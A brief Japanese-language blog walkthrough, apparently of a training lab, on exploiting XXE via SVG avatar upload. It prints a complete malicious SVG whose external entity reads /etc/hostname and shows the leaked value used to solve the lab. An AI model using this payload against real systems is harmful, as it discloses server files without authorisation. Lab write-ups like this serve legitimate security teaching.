Hello there, ('ω')ノ
画像ファイルのアップロードによるXXEの悪用を。
一部のアプリケーションでは、ユーザがファイルをアップロードして。
サーバサイドで処理することができて。
一部のファイル形式は、XMLを使用するか、XMLサブコンポーネントを含んで。
XMLベースの例だと、DOCX等のドキュメント形式やSVG等の画像形式があって。
アップロード領域で受け入れられるのは画像ファイルのみなので。
はじめに下記のコードで、code.svgを作成しておいて。
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
ブログ投稿にコメントを投稿して。
code.svgをアバターとしてアップロードして。
画像に当たる箇所をクリックすると。
画像に/etc/hostnameファイルの内容が表示されて。
下記のコードを入力すると。
ca3e13c76d61
クリアできた。
Best regards, (^^ゞ